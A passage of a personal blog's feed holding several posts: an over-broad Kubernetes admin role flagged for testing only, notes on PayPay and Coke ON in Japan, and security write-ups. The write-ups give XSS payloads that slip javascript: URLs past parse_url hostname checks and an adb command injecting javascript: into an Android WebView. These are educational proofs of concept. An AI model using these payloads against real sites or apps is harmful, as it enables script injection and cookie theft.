  &lt;span class=&quot;na&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;rbac.authorization.k8s.io/aggregate-to-admin&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;rbac.authorization.k8s.io/aggregate-to-edit&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;rbac.authorization.k8s.io/aggregate-to-view&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;apiGroups&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;verbs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Only use this in a testing environment, as this effectively gives everyone with view role full admin access to the namespace or cluster!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>PayPay - pay with your phone</title>
   <link href="https://szabo.jp/2021/05/17/paypay/"/>
   <updated>2021-05-17T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/17/paypay</id>
   <content type="html">&lt;p&gt;Japan is famous for it’s love for cash and the people are very reluctant to use anything else. The government even had a &lt;a href=&quot;https://tokyocheapo.com/shopping-2/japan-cashless-rebate-program/&quot;&gt;2-5% cashback program on most cashless payments&lt;/a&gt; in 2019-2020 to change this. Even after this, credit cards are often not accepted, especially at smaller shops or restaurants. On the other hand Japan has a handful of barcode-based mobile payment solutions: &lt;a href=&quot;https://paypay.ne.jp/&quot;&gt;PayPay&lt;/a&gt;, &lt;a href=&quot;https://pay.line.me/&quot;&gt;LinePay&lt;/a&gt;, &lt;a href=&quot;https://aupay.wallet.auone.jp/&quot;&gt;auPay&lt;/a&gt;, &lt;a href=&quot;https://pay.rakuten.co.jp/&quot;&gt;RakutenPay&lt;/a&gt;, &lt;a href=&quot;https://www.family.co.jp/services/payment/famipay.html&quot;&gt;FamiPay&lt;/a&gt;, &lt;a href=&quot;https://www.merpay.com/&quot;&gt;MerPay&lt;/a&gt; etc., out of which PayPay seems to be the most widely accepted (in my experience).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-17-paypay/paypay.png#lb&quot; alt=&quot;Promo photo of the PayPay app from https://paypay.ne.jp/&quot; /&gt;&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;PayPay manifests itself as a mobile app that you can use to pay at certain places. You can top-up your balance via linking your bank account or at selected ATMs (all 7Eleven Bank ATMs work for sure), and you can also send/receive money from other users. Alternatively you can also link your credit/debit card and let PayPay charge that at the time of payment. This avoids having to top-up the balance, however most of the PayPay campaigns (e.g. cashbacks) won’t work.&lt;/p&gt;

&lt;h2 id=&quot;ways-to-pay&quot;&gt;Ways to pay&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;The shop scans your bar code&lt;/strong&gt; - just open the app and let the cashier scan the barcode displayed in the app. Once the payment is completed, the app will show the charged amount immediately (with a loud &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;paypay&lt;/code&gt; sound). This method is generally used in bigger shops and restaurants, including chain ones (e.g. all konbinis accept PayPay this way)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;You scan the shop’s code&lt;/strong&gt; - the shop has a printed QR code identifying the place. You scan this code with your phone, input the amount, then show it to the seller and press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pay&lt;/code&gt;. This is especially popular in small restaurants or shops, e.g. &lt;a href=&quot;https://goo.gl/maps/J4X86MZvWcTGmiW28&quot;&gt;one of my favorite ramen shops&lt;/a&gt;, &lt;a href=&quot;https://goo.gl/maps/UBdZZJFeqWsHnNeY6&quot;&gt;my hairdresser&lt;/a&gt;, &lt;a href=&quot;https://goo.gl/maps/TPHnSXqiBNcuoi9F9&quot;&gt;this greengrocer in Kyoto&lt;/a&gt; all accept PayPay this way. Sometimes even bigger businesses use this method, e.g. &lt;a href=&quot;https://rent.toyota.co.jp/eng/&quot;&gt;Toyota Rent a Car&lt;/a&gt; shops I’ve been in Kyoto and Nara, or the &lt;a href=&quot;https://g.page/amanohashidate-hotel?share&quot;&gt;Amanohashidate Hotel&lt;/a&gt;, which I found suprising considering the high amounts they deal with.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-17-paypay/waystopay.png#lb&quot; alt=&quot;The two ways to pay from https://paypay.ne.jp/&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On detailed instructions to setup and use, I’d recommend &lt;a href=&quot;https://thebestjapan.com/cant-get-a-credit-card-in-japan-heres-how-to-be-cashless/&quot;&gt;this guide&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;security-as-a-user&quot;&gt;Security as a user&lt;/h2&gt;

&lt;p&gt;The user-specific barcode is only valid for a single payment and up to 5 minutes, so the problem of cloning (like a credit/debit card) is non-existent here. Moreover unlike the card, the phone never leaves your hand. Also you can setup the app to ask for a fingerprint before paying which adds an extra layer of security should someone obtain your phone unlocked.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-17-paypay/hotel.jpeg#lb&quot; alt=&quot;Find the PayPay QR code at this hotel reception in Yuzawa!&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;security-as-a-shop&quot;&gt;Security as a shop&lt;/h2&gt;

&lt;p&gt;This gets interesting. The first way of paying (the shops scans your code) seems fully secure. However in the second way everything happens on the user’s phone, so it would be possible for a malicious user to make an app that looks and acts like PayPay, but doesn’t actually send the money, and the shop would have no way to tell. When I only saw small places accepting PayPay this way, I just assumed that no one wants  to rip off the old ramen shop guy, or that people tend to return to these places and there is a chance that they are the only ones using PayPay there, and then the shop would see at the end of the month that something is off. Car rentals and hotels accept it too, but they generally get a copy of your ID/driving license, so they can find you if they later realize you didn’t actually pay. At the end of the day however I don’t think anyone else thinks about it this much, and most places just trust the customers, the same way there are way less security guards in shops in Japan than in Europe. Pity crime is just way less of an issue here.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-17-paypay/ramen.jpeg#lb&quot; alt=&quot;Find the PayPay QR code on the door of this ramen shop!&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;when-its-better-than-card&quot;&gt;When it’s better than card&lt;/h2&gt;

&lt;p&gt;I was in a small greengrocer’s and they had signs of accepting cards and PayPay. I asked to pay by card and gave my debit card to the old guy. It quickly turned out that he wasn’t very familiar with how the card terminal worked, or which side of the card to scan. After a few minutes of trials I suggested that I can pay with PayPay too, which he accepted with a big smile of relief. I scanned the QR code, entered the amount and was done in less than 10 seconds. This convenience for the seller can be a significant edge over complicated card terminals especially for older and less tech savy sellers.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-17-paypay/bar.jpg#lb&quot; alt=&quot;Find the PayPay QR code at this bar in Kyoto!&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;advantages&quot;&gt;Advantages&lt;/h2&gt;

&lt;p&gt;I don’t like cash, as it’s dirty, heavy, takes time to pay and just one more thing to keep in mind: making sure you have enough, you have small notes etc. Also splitting the bill gets complicated. In Europe I was very happy that most places accepted cards, and with &lt;a href=&quot;https://en.wikipedia.org/wiki/Contactless_payment&quot;&gt;PayPass/payWave&lt;/a&gt; it became even more convenient for small amounts. Using PayPay is the closest thing to this convenience that I could find in Japan. I also enjoy the increased security and the campaigns (currently you get 0.5-1.5% cashback on all purchases made with PayPay balance). You do need a Japanese phone number to sign-up, but if you got that, then I definitelly recommend to do so and give it a try.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Coke ON - buy from vending machines with your phone</title>
   <link href="https://szabo.jp/2021/05/16/coke-on/"/>
   <updated>2021-05-16T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/16/coke-on</id>
   <content type="html">&lt;p&gt;Japan is full of drink vending machines:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-16-coke-on/vendingmachines.jpeg#lb&quot; alt=&quot;Vending machines in rural Tochigi&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However I don’t like coins. The vending machines at the train stations usually accept &lt;a href=&quot;https://en.wikipedia.org/wiki/Suica&quot;&gt;Suica&lt;/a&gt;, but elsewhere they are mostly cash only. Or that’s what I thought.&lt;/p&gt;

&lt;p&gt;Meet Coke ON, the fun and reasonable (🤨) Coca-Cola official app, which lets you buy drinks from selected vending machines using your phone, paying with credit card, PayPay or LinePay. Moreover you get stamps for each purchase, that gets you a free drink after 15 stamps.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-16-coke-on/cokeon.png#lb&quot; alt=&quot;Coke ON, the fun and reasonable Coca-Cola official app (source: https://c.cocacola.co.jp/app/)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.coke.cokeon&amp;amp;hl=en&amp;amp;gl=US&quot;&gt;Google Play&lt;/a&gt;, &lt;a href=&quot;https://apps.apple.com/jp/app/coke-on-%E3%82%B3%E3%83%BC%E3%82%AF%E3%82%AA%E3%83%B3/id1088184021&quot;&gt;Apple Store&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;No need to carry cash (especially useful when running or cycling)&lt;/li&gt;
  &lt;li&gt;No need to touch coins or the machine (you select the drink on your phone, you only need to pick up the drink)&lt;/li&gt;
  &lt;li&gt;Occasional free drink for stamps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Limited to Coca-Cola vending machines, so you might need to walk a bit to find one (the app has a map though, and I enjoy turning my runs into an orienting game)&lt;/li&gt;
  &lt;li&gt;Limited to Coca-Cola drinks - forget Pepsi, &lt;a href=&quot;https://en.wikipedia.org/wiki/Pocari_Sweat&quot;&gt;Pocari Sweat&lt;/a&gt; or &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E3%83%A1%E3%83%AD%E3%83%B3%E3%82%BD%E3%83%BC%E3%83%80&quot;&gt;melon soda&lt;/a&gt; 😢&lt;/li&gt;
  &lt;li&gt;Sometimes it can be more expensive, even with the stamps (see below)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;how-to-use&quot;&gt;How to use&lt;/h2&gt;

&lt;p&gt;Most of the app is available in English, and it’s pretty straight forward to use.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Download the app (&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.coke.cokeon&amp;amp;hl=en&amp;amp;gl=US&quot;&gt;Google Play&lt;/a&gt;, &lt;a href=&quot;https://apps.apple.com/jp/app/coke-on-%E3%82%B3%E3%83%BC%E3%82%AF%E3%82%AA%E3%83%B3/id1088184021&quot;&gt;Apple Store&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Sign up in the app&lt;/li&gt;
  &lt;li&gt;Setup payment under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Coke ON Pay - Payment Settings&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Walk up to a vending machine with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Coke ON Pay&lt;/code&gt; logo (or use the map in the app). There are some vending machines that only have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Coke ON&lt;/code&gt; and not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Coke ON Pay&lt;/code&gt;, and with those you can only buy drinks with either the drink tickets you get for stamps, or with cash. Using the app when paying with cash still gets you the stamps though.&lt;/li&gt;
  &lt;li&gt;Have the app open on your phone with bluetooth turned on&lt;/li&gt;
  &lt;li&gt;As you put the phone close to the vending machine, they will connect via bluetooth and the app screen will change&lt;/li&gt;
  &lt;li&gt;The list of drinks available in the vending machine will appear on the screen&lt;/li&gt;
  &lt;li&gt;In the app, click on the drink you want to buy. It will open a floating ticket with a photo of the drink&lt;/li&gt;
  &lt;li&gt;Swipe the ticket toward the top of the screen to confirm the selection (this took me a while to figure out)&lt;/li&gt;
  &lt;li&gt;The vending machine will release the choosen drink, and the app will charge your registered payment method&lt;/li&gt;
  &lt;li&gt;The app will show the received stamp(s)&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;does-the-saving-makes-sense&quot;&gt;Does the saving makes sense?&lt;/h2&gt;

&lt;p&gt;So normally buying one drink will get you one stamp (though appr. 25% of the time there is a campaign giving 2 stamps per drink). After 15 stamps you get a drink ticket that can be exchanged for a single drink of any kind. No stamp is given if a drink is bought with a drink ticket. Assuming all drink cost the same, this comes down to getting 16 drinks for the price of 15, equalling to a saving of 1/16 or 6.25%. So in practice a 160 yen drink (the usual price for &lt;a href=&quot;https://en.wikipedia.org/wiki/Aquarius_(beverage)&quot;&gt;Aquarius&lt;/a&gt;) comes down to 150 yen, which could still be more expensive the the alternatives, for example this one:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-16-coke-on/all100yen.jpeg#lb&quot; alt=&quot;All 100yen! ぜーんぶ 100円! Except the 90 yen mystery drink 🤔&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;coke-on-pass&quot;&gt;Coke ON Pass&lt;/h2&gt;

&lt;p&gt;I haven’t personally tried, but &lt;a href=&quot;https://c.cocacola.co.jp/app/pass/&quot;&gt;Coca-Cola also offers a drink pass&lt;/a&gt; for 2700 yen/month giving you one free drink per day. If one uses it all 30 days, then one drink comes down to 90 yen, which is a decent price, though supermarkets might have the same drinks for 70-80 yen. However I assume most people’s weekday and weekend routine is significantly different, so if one can only use it during weekdays (so ~21 days a month), then one drink will be close to 130 yen. At that point a 100 yen Lawson or even directly buying some of the drinks from the same vending machine will be the same or cheaper (but prices might be higher around train stations):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-16-coke-on/cokevendingmachine.jpeg#lb&quot; alt=&quot;Coca-Cola vending machine&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So overall unless someone only drinks the most expensive drinks; they drink it realiable every single day, then this pass doesn’t seem to make sense financially.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Open-redirect to XSS</title>
   <link href="https://szabo.jp/2021/05/12/open-redirect-to-XSS/"/>
   <updated>2021-05-12T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/12/open-redirect-to-XSS</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html&quot;&gt;Open redirects&lt;/a&gt; are generally treated as a low risk issue, due to the limited impact (more convincing phishing). However in certain cases a simple open redirect vulnerability can lead to reflected XSS, which I’ll talk about in this post.&lt;/p&gt;

&lt;p&gt;Redirecting in a browser can happen in two ways:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The browser gets a &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#3xx_redirection&quot;&gt;30x HTTP response code&lt;/a&gt; (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;302 Found&lt;/code&gt;) with the destination of the redirect in the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Location&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Location&lt;/code&gt; header&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The JavaScript running on a site does the redirect by e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.location.href=&apos;https://example.com&apos;&lt;/code&gt; or
 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.location.assign(&apos;https://example.com&apos;);&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.location.replace(&apos;https://example.com&apos;);&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If an open redirect vulnerability exist with the second type of redirect, it might be an XSS as well using the &lt;a href=&quot;https://stackoverflow.com/questions/2321469/when-do-i-need-to-specify-the-javascript-protocol&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:&lt;/code&gt; pseudo-protocol&lt;/a&gt;. E.g. the following JavaScript code will pop up an alert:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;url = &quot;javascript:alert(document.domain)&quot;; // coming from the user in real life
window.location.href= url;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/MarkSzs/zedqtk75/2/&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Another great thing about this is that no redirect happens, so the injected JavaScript executes in the context of the current page (see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.domain&lt;/code&gt; from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert&lt;/code&gt;), so it has access to the site the same way a normal XSS has.&lt;/p&gt;

&lt;h2 id=&quot;catch-1-redirect-doesnt-happen-immediately&quot;&gt;Catch 1: Redirect doesn’t happen immediately&lt;/h2&gt;

&lt;p&gt;Consider the following JavaScript  code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;url = &quot;&quot;; // coming from the user

if(!url.startsWith(&quot;https://example.com&quot;)) {
	window.location.href = &quot;https://example.com&quot;;
}

window.location.href= url;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the url doesn’t start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com&lt;/code&gt;, then we redirect to the main page; otherwise redirect to the url. However the  redirect only happens after the JavaScript finished running, so the same attack still works: &lt;a href=&quot;https://jsfiddle.net/MarkSzs/ts5ghokx/1/&quot;&gt;Demo&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;catch-2-bypassing-hostname-checks&quot;&gt;Catch 2: Bypassing hostname checks&lt;/h2&gt;

&lt;p&gt;Sometimes to prevent open redirect the app checks if the URL points to a trusted hostname. Considering the &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/open-redirect&quot;&gt;numerous filter bypass techniques&lt;/a&gt; the general recommendation is to use a URL parser and check directly for the hostname, instead of trying to do some regex matching.&lt;/p&gt;

&lt;p&gt;For example consider the following php code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?php

$url = $_GET[&quot;u&quot;];

if(parse_url($url, PHP_URL_HOST) === &quot;example.com&quot; ) {
    echo &quot;&amp;lt;script&amp;gt;window.location.href = &apos;&quot; . htmlspecialchars($url, ENT_QUOTES) . &quot;&apos;;&amp;lt;/script&amp;gt;&quot;;
} else {
    echo &quot;&amp;lt;script&amp;gt;window.location.href = &apos;https://example.com&apos;;&amp;lt;/script&amp;gt;&quot;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://3v4l.org/PU24n&quot;&gt;Demo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This takes the URL from a GET parameter, parses it using the &lt;a href=&quot;https://www.php.net/manual/en/function.parse-url.php&quot;&gt;built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parse_url()&lt;/code&gt; function&lt;/a&gt; and redirects the user to it if the hostname is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;. Otherwise the user is sent to the hardcoded main page.&lt;/p&gt;

&lt;p&gt;So on first look this doesn’t even look like an open redirect. However &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parse_url()&lt;/code&gt; accepts anything for protocol, as long as the string looks like a URL. So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript://example.com/path&lt;/code&gt; will be parsed into the hostname of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt;. However when this is injected, everything after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:&lt;/code&gt; is interpreted as JavaScript, namely: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//example.com/path&lt;/code&gt;, which is entirely a comment in JavaScript. Fortunately we can inject a URL encoded new-line (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%0a&lt;/code&gt;) to end the comment and add arbitrary JavaScript code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;javascript://example.com/path%0aalert(document.domain)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This affects other URL parsers, for example Golang (based on &lt;a href=&quot;https://gobyexample.com/url-parsing&quot;&gt;gobyexample.com&lt;/a&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package main

import (
	&quot;fmt&quot;
	&quot;net/url&quot;
)

func main() {
	s := &quot;javascript://example.com/path%0aalert(document.domain)&quot;
	u, err := url.Parse(s)
	if err != nil {
		panic(err)
	}
	fmt.Println(u.Host)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://play.golang.org/p/M6vu7UBcryx&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or Java (based on &lt;a href=&quot;https://stackoverflow.com/questions/9607903/get-domain-name-from-given-url&quot;&gt;this thread&lt;/a&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import java.net.URI;

public class Main
{
	public static void main(String[] args) {
	    try {
    	    URI uri = new URI(&quot;javascript://example.com/path%0aalert(document.domain)&quot;);
	    	System.out.println(uri.getHost());
	    } catch(Exception e) {
	        System.out.println(e);
	    }
	}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://onlinegdb.com/r2z9XNmJ_&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Cross-app Scripting in Android apps</title>
   <link href="https://szabo.jp/2021/05/10/cross-app-scripting-in-android-apps/"/>
   <updated>2021-05-10T11:45:00+00:00</updated>
   <id>https://szabo.jp/2021/05/10/cross-app-scripting-in-android-apps</id>
   <content type="html">&lt;p&gt;If an Android app accepts &lt;a href=&quot;https://developer.android.com/reference/android/content/Intent?hl=en&quot;&gt;Intents&lt;/a&gt; to open a URL in a &lt;a href=&quot;https://developer.android.com/reference/android/webkit/WebView&quot;&gt;WebView&lt;/a&gt;, then a malicious app installed on the same device might open a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:alert(1)&lt;/code&gt;-like URL, which will run the provided JavaScript in the context of the victim app’s site (that is currently loaded in the WebView). This vulnerability is called &lt;a href=&quot;https://support.google.com/faqs/answer/9084685?hl=en-GB&quot;&gt;Cross-app Scripting&lt;/a&gt;.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;background-intents&quot;&gt;Background: Intents&lt;/h2&gt;

&lt;p&gt;On Android, intents are a way for an app to ask another app to do something. There are &lt;a href=&quot;https://developer.android.com/reference/android/content/Intent#intent-resolution&quot;&gt;explicit intents&lt;/a&gt; that specify the exact class to be run (“hey, open this place in Google Maps”) or &lt;a href=&quot;https://developer.android.com/reference/android/content/Intent#intent-resolution&quot;&gt;implicit intents&lt;/a&gt; that only say what they want to get done and not by whom (“hey, take a photo with any app” or “open this URL in any browser”). If multiple apps offer to handle the implicit intent, Android will ask the user which app they want to use.&lt;/p&gt;

&lt;p&gt;Intents are usually defined in the &lt;a href=&quot;https://developer.android.com/guide/topics/manifest/manifest-intro&quot;&gt;Manifest&lt;/a&gt;, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;intent-filter&amp;gt;
    &amp;lt;data android:scheme=&quot;http&quot; /&amp;gt;
    &amp;lt;data android:scheme=&quot;https&quot; /&amp;gt;
    &amp;lt;data android:host=&quot;example.com&quot; /&amp;gt;
    &amp;lt;action android:name=&quot;android.intent.action.VIEW&quot; /&amp;gt;
    &amp;lt;category android:name=&quot;android.intent.category.DEFAULT&quot; /&amp;gt;
    &amp;lt;category android:name=&quot;android.intent.category.BROWSABLE&quot; /&amp;gt;
&amp;lt;/intent-filter&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One can also try to find them by looking for where they are invoked by searching for e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;new Intent&quot;&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;import android.content.Intent;&quot;&lt;/code&gt;, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;final Intent switchToExternalIntent = new Intent(this, ExternalActivity.class)
    .putExtra(&quot;url&quot;, url)
    .putExtra(&quot;shareUrl&quot;, shareUrl)
    .putExtra(&quot;shareMessage&quot;, shareMessage)
startActivityForResult(switchToExternalIntent, RequestCodes.EXTERNAL_ACTIVITY_RESULT_CODE);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType(&quot;text/plain&quot;);
shareIntent.putExtra(Intent.EXTRA_TEXT, url);
context.startActivity(shareIntent);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;calling-an-intent&quot;&gt;Calling an intent&lt;/h2&gt;

&lt;p&gt;With &lt;a href=&quot;https://developer.android.com/studio/command-line/adb&quot;&gt;adb&lt;/a&gt; one can call Intents directly, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;adb shell am start -n com.example.myapp/com.example.myapp.MainActivity -a &quot;android.intent.action.VIEW&quot; -d &quot;&apos;javascript:alert(document.cookie)&apos;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The parameters are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.example.myapp&lt;/code&gt; - is the &lt;a href=&quot;https://developer.android.com/studio/build/application-id&quot;&gt;application id&lt;/a&gt; of the app&lt;/li&gt;
